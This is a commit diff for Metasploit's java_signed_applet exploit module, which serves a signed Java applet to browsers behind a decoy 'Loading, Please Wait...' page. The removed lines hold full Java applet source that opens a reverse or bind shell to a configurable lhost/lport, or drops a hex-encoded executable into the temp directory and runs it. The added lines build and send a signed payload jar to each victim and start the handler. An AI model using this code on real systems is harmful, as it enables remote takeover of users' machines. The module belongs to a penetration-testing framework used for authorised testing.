make java_signed_applet work with generic java payloads, but keep the default target as Windows/x86 since it is by far the most common victim.
git-svn-id: file:///home/svn/framework3/trunk@11172 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
@@ -46,23 +46,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
[
|
||||
[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ],
|
||||
],
|
||||
'Platform' => [ 'win', 'osx', 'linux', 'solaris' ],
|
||||
'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true },
|
||||
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
|
||||
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
|
||||
'Targets' =>
|
||||
[
|
||||
# Generic java payload is mostly useless right now, as it kills as soon as the user browses
|
||||
# to another page. It should be rewritten to launch a new JVM in the background with a custom
|
||||
# .class.
|
||||
#
|
||||
# Look up the path to bin/java, dump .class to java.io.tmpdir, then bin/java foo.class via
|
||||
# /bin/sh or cmd.exe
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
# This is a bad hack to force only the generic/shell_bind_tcp
|
||||
# and generic/shell_reverse_tcp payloads
|
||||
'Platform' => ['win'],
|
||||
'Payload' => { 'Space' => 0 },
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => ['java'],
|
||||
'Arch' => ARCH_JAVA
|
||||
}
|
||||
],
|
||||
[ 'Windows x86 (Native Payload)',
|
||||
@@ -71,6 +62,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
[ 'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X PPC (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
@@ -83,12 +80,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
[ 'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 1
|
||||
))
|
||||
@@ -109,245 +100,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
#
|
||||
# Currently doing all processing in on_request_uri.
|
||||
# If this is too slow, we can move applet generation up here.
|
||||
#
|
||||
|
||||
@use_static = false
|
||||
|
||||
if not @jvm_init
|
||||
print_error
|
||||
print_error "The JDK failed to initialized: #{@java_error}"
|
||||
print_error "In order to dynamically sign the applet, you must install the Java Development Kit, the rjb gem, and set the JAVA_HOME environment variable."
|
||||
print_error
|
||||
print_error "Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
|
||||
print_error
|
||||
@use_static = true
|
||||
end
|
||||
|
||||
if datastore['SaveToFile']
|
||||
appletsource = get_code
|
||||
save_to_file( appletsource['classnames'], appletsource['codefiles'], datastore['SaveToFile'] )
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def get_code
|
||||
|
||||
appletsource = <<-EOF
|
||||
import java.applet.Applet;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.BufferedReader;
|
||||
import java.io.BufferedWriter;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStream;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.security.AccessController;
|
||||
import java.security.PrivilegedExceptionAction;
|
||||
|
||||
public class #{datastore['APPLETNAME']} extends Applet
|
||||
{
|
||||
|
||||
public void init()
|
||||
{
|
||||
try
|
||||
{
|
||||
String data = getParameter( "data" );
|
||||
String lhost = getParameter( "lhost" );
|
||||
String lport = getParameter( "lport" );
|
||||
|
||||
if( data == null ) {
|
||||
data = "";
|
||||
}
|
||||
|
||||
//System.out.println("Applet executing. Creating payload class.");
|
||||
|
||||
#{datastore['PAYLOADNAME']} site = new #{datastore['PAYLOADNAME']} ();
|
||||
//System.out.println("Payload class instantiated.");
|
||||
site.data = data;
|
||||
|
||||
if( lhost != null && lport != null) {
|
||||
site.lhost = lhost;
|
||||
site.lport = Integer.parseInt(lport);
|
||||
System.out.println("lhost: " + lhost);
|
||||
System.out.println("lport: " + Integer.parseInt(lport));
|
||||
}
|
||||
|
||||
//System.out.println("data: " + data);
|
||||
|
||||
site.run();
|
||||
}
|
||||
catch( Exception e ) { System.out.println("Applet error: " + e); }
|
||||
}
|
||||
|
||||
class #{datastore['PAYLOADNAME']} implements PrivilegedExceptionAction
|
||||
{
|
||||
// This will contain a hex string of the native payload to drop and execute.
|
||||
public String data = null;
|
||||
// If no native payload is set we get either a java bind shell or a java
|
||||
// reverse shell.
|
||||
public String lhost = null;
|
||||
public int lport = 4444;
|
||||
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
OutputStream os;
|
||||
|
||||
StreamConnector( InputStream is, OutputStream os )
|
||||
{
|
||||
this.is = is;
|
||||
this.os = os;
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
BufferedReader in = null;
|
||||
BufferedWriter out = null;
|
||||
|
||||
try
|
||||
{
|
||||
in = new BufferedReader( new InputStreamReader( is ) );
|
||||
out = new BufferedWriter( new OutputStreamWriter( os ) );
|
||||
char buffer[] = new char[8192];
|
||||
int length;
|
||||
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
{
|
||||
out.write( buffer, 0, length );
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
catch( Exception e ) { System.out.println( "StreamConnector error: " + e); }
|
||||
|
||||
try
|
||||
{
|
||||
if( in != null )
|
||||
in.close();
|
||||
if( out != null )
|
||||
out.close();
|
||||
}
|
||||
catch( Exception e ) { System.out.println( "StreamConnector error: " + e); }
|
||||
}
|
||||
}
|
||||
|
||||
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
|
||||
public byte[] StringToBytes( String s )
|
||||
{
|
||||
byte[] data = new byte[s.length() / 2];
|
||||
|
||||
for( int i = 0 ; i < s.length() ; i += 2 )
|
||||
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
public Object run() throws Exception
|
||||
{
|
||||
//System.out.println("Applet running...");
|
||||
|
||||
try
|
||||
{
|
||||
String os = System.getProperty( "os.name" );
|
||||
|
||||
// if we have no native payload to drop and execute we default to
|
||||
// either a TCP bind or reverse shell.
|
||||
//if( #{datastore['PAYLOADNAME']}.data.length() == 0 )
|
||||
if( this.data.length() == 0 )
|
||||
{
|
||||
//System.out.println("Applet thinks payload.data is empty.");
|
||||
Socket client_socket = null;
|
||||
|
||||
String shell = "/bin/sh";
|
||||
|
||||
if( os.indexOf( "Windows" ) >= 0 )
|
||||
shell = "cmd.exe";
|
||||
|
||||
//if( #{datastore['PAYLOADNAME']}.lhost == null )
|
||||
if( this.lhost == null )
|
||||
{
|
||||
//ServerSocket server_socket = new ServerSocket( #{datastore['PAYLOADNAME']}.lport );
|
||||
ServerSocket server_socket = new ServerSocket( this.lport );
|
||||
client_socket = server_socket.accept();
|
||||
}
|
||||
else
|
||||
{
|
||||
//client_socket = new Socket( #{datastore['PAYLOADNAME']}.lhost, #{datastore['PAYLOADNAME']}.lport );
|
||||
client_socket = new Socket( this.lhost, this.lport );
|
||||
}
|
||||
|
||||
if( client_socket != null )
|
||||
{
|
||||
Process process = Runtime.getRuntime().exec( shell );
|
||||
|
||||
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
|
||||
|
||||
( new StreamConnector( process.getErrorStream(), client_socket.getOutputStream() ) ).start();
|
||||
|
||||
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
//System.out.println("Applet knows there's data to write. Writing to: " + System.getProperty( "java.io.tmpdir" ));
|
||||
String filename = Math.random() + ".exe";
|
||||
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + filename;
|
||||
//System.out.println(filename + " written.");
|
||||
|
||||
Process p;
|
||||
FileOutputStream fos = new FileOutputStream( path );
|
||||
|
||||
//fos.write( StringToBytes( #{datastore['PAYLOADNAME']}.data ) );
|
||||
fos.write( StringToBytes( this.data ) );
|
||||
|
||||
fos.close();
|
||||
|
||||
if( os.indexOf( "Windows" ) < 0 )
|
||||
{
|
||||
p = Runtime.getRuntime().exec( "chmod 755 " + path );
|
||||
p.waitFor();
|
||||
}
|
||||
|
||||
p = Runtime.getRuntime().exec( path );
|
||||
|
||||
p.waitFor();
|
||||
|
||||
new File( path ).delete();
|
||||
}
|
||||
}
|
||||
catch( Exception e ) { System.out.println("Payload execution error: " + e); }
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public void #{datastore['PAYLOADNAME']}()
|
||||
{
|
||||
try
|
||||
{
|
||||
AccessController.doPrivileged( this );
|
||||
}
|
||||
catch( Exception e ) { System.out.println("Payload instantiation error: " + e); }
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
appletcode = {
|
||||
'classnames' => [ datastore['APPLETNAME'] ],
|
||||
'codefiles' => [ appletsource ]
|
||||
}
|
||||
|
||||
return appletcode
|
||||
end
|
||||
|
||||
def on_request_uri( cli, request )
|
||||
payload = regenerate_payload(cli)
|
||||
if not payload
|
||||
print_error( "Failed to generate the payload." )
|
||||
# Send them a 404 so the browser doesn't hang waiting for data
|
||||
# that will never come.
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
if not request.uri.match(/\.jar$/i)
|
||||
if not request.uri.match(/\/$/)
|
||||
@@ -357,108 +118,68 @@ EOF
|
||||
|
||||
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
|
||||
|
||||
if target.name == 'Generic (Java Payload)'
|
||||
if datastore['LHOST']
|
||||
host = datastore['LHOST']
|
||||
port = datastore['LPORT']
|
||||
print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." )
|
||||
else
|
||||
port = datastore['LPORT']
|
||||
datastore['RHOST'] = cli.peerhost
|
||||
print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )
|
||||
end
|
||||
else
|
||||
payload = regenerate_payload( cli )
|
||||
if not payload
|
||||
print_error( "Failed to generate the payload." )
|
||||
return
|
||||
end
|
||||
|
||||
# NOTE: The EXE mixin automagically handles detection of arch/platform
|
||||
data = generate_payload_exe
|
||||
|
||||
if data
|
||||
print_status( "Generated executable to drop (#{data.length} bytes)." )
|
||||
data = Rex::Text.to_hex( data, prefix="" )
|
||||
else
|
||||
print_error( "Failed to generate the executable." )
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
if not @use_static
|
||||
# See #1543
|
||||
if datastore['CERTCN'].index(",")
|
||||
print_error("CERTCN cannot contain a comma due to a bug in Rjb, commas will be removed")
|
||||
end
|
||||
|
||||
appletcode = get_code
|
||||
|
||||
print_status "Compiling applet classes..."
|
||||
compile( appletcode['classnames'], appletcode['codefiles'] )
|
||||
|
||||
print_status "Compile completed. Building jar file..."
|
||||
|
||||
unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar"
|
||||
@signedjar = "#{datastore['APPLETNAME']}.jar"
|
||||
|
||||
build_jar( unsignedjar,
|
||||
[
|
||||
# Applet
|
||||
datastore['APPLETNAME'] + ".class",
|
||||
# PayloadX class
|
||||
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class",
|
||||
# PayloadX StreamConnector for pure Java payload
|
||||
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class"
|
||||
]
|
||||
)
|
||||
|
||||
print_status "Jar built. Signing..."
|
||||
|
||||
sign_jar( datastore['CERTCN'], unsignedjar, @signedjar )
|
||||
|
||||
print_status "Jar signed. Ready to send."
|
||||
else
|
||||
print_status "Using static, signed jar. Ready to send."
|
||||
end
|
||||
|
||||
# TODO: gzip data and parse in java
|
||||
send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
|
||||
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
||||
return
|
||||
end
|
||||
|
||||
# load the jar file
|
||||
if @use_static
|
||||
path = File.join( Msf::Config.install_root, "data", "exploits", "java_signed_applet.jar" )
|
||||
elsif File.exists? File.join( datastore['JAVACACHE'], @signedjar )
|
||||
path = File.join( datastore['JAVACACHE'], @signedjar )
|
||||
end
|
||||
# If we haven't returned yet, then this is a request for our applet
|
||||
# jar, build one for this victim.
|
||||
|
||||
if path
|
||||
fd = File.open( path, "rb" )
|
||||
@jar_data = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
p = regenerate_payload(cli)
|
||||
jar = p.encoded_jar
|
||||
|
||||
files = [
|
||||
"metasploit/Payload.class",
|
||||
"metasploit/PayloadApplet.class",
|
||||
"META-INF/MANIFEST.MF",
|
||||
"META-INF/SIGNFILE.DSA",
|
||||
"META-INF/SIGNFILE.SF",
|
||||
]
|
||||
|
||||
# Ghetto. Replace existing files in the Jar, then add in
|
||||
# anything that wasn't replaced. The reason for replacing the
|
||||
# .class files is to ensure that we're sending the
|
||||
# Payload.class as was signed rather than a newer one that was
|
||||
# updated without updating the signature. We'll just have to
|
||||
# cross our fingers and hope that any updates don't break
|
||||
# backwards compatibility in the handler until we can get
|
||||
# signing to work from ruby. Once we can sign jars directly
|
||||
# from ruby using OpenSSL, this won't be a problem.
|
||||
replaced = []
|
||||
# Replace the ones that are already there.
|
||||
jar.entries.map do |e|
|
||||
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e.name)
|
||||
if File.file? file
|
||||
File.open(file, "rb") do |f|
|
||||
e.data = f.read(f.stat.size)
|
||||
end
|
||||
end
|
||||
replaced << e.name
|
||||
end
|
||||
# Add the rest
|
||||
files.each { |e|
|
||||
next if replaced.include? e
|
||||
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e)
|
||||
File.open(file, "rb") do |f|
|
||||
jar.add_file(e, f.read(f.stat.size))
|
||||
end
|
||||
}
|
||||
|
||||
print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}. Waiting for user to click 'accept'..." )
|
||||
send_response( cli, @jar_data, { 'Content-Type' => "application/octet-stream" } )
|
||||
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
|
||||
|
||||
handler( cli )
|
||||
|
||||
end
|
||||
|
||||
def generate_html( data, host, port )
|
||||
html = "<html><head><title>Loading, Please Wait...</title></head>"
|
||||
html += "<body><center><p>Loading, Please Wait...</p></center>"
|
||||
html += "<applet archive=\"#{datastore['APPLETNAME']}.jar\" "
|
||||
html += "code=\"#{datastore['APPLETNAME']}.class\" width=\"1\" height=\"1\">"
|
||||
|
||||
html += "<param name=\"data\" value=\"#{data}\"/>" if data
|
||||
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
|
||||
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
|
||||
|
||||
html += "</applet></body></html>"
|
||||
def generate_html
|
||||
html = %Q|<html><head><title>Loading, Please Wait...</title></head> |
|
||||
html += %Q|<body><center><p>Loading, Please Wait...</p></center> |
|
||||
html += %Q|<applet archive="#{datastore["APPLETNAME"]}.jar" |
|
||||
html += %Q| code="metasploit.PayloadApplet" width="1" height="1">\n|
|
||||
html += %Q|</applet></body></html>|
|
||||
return html
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user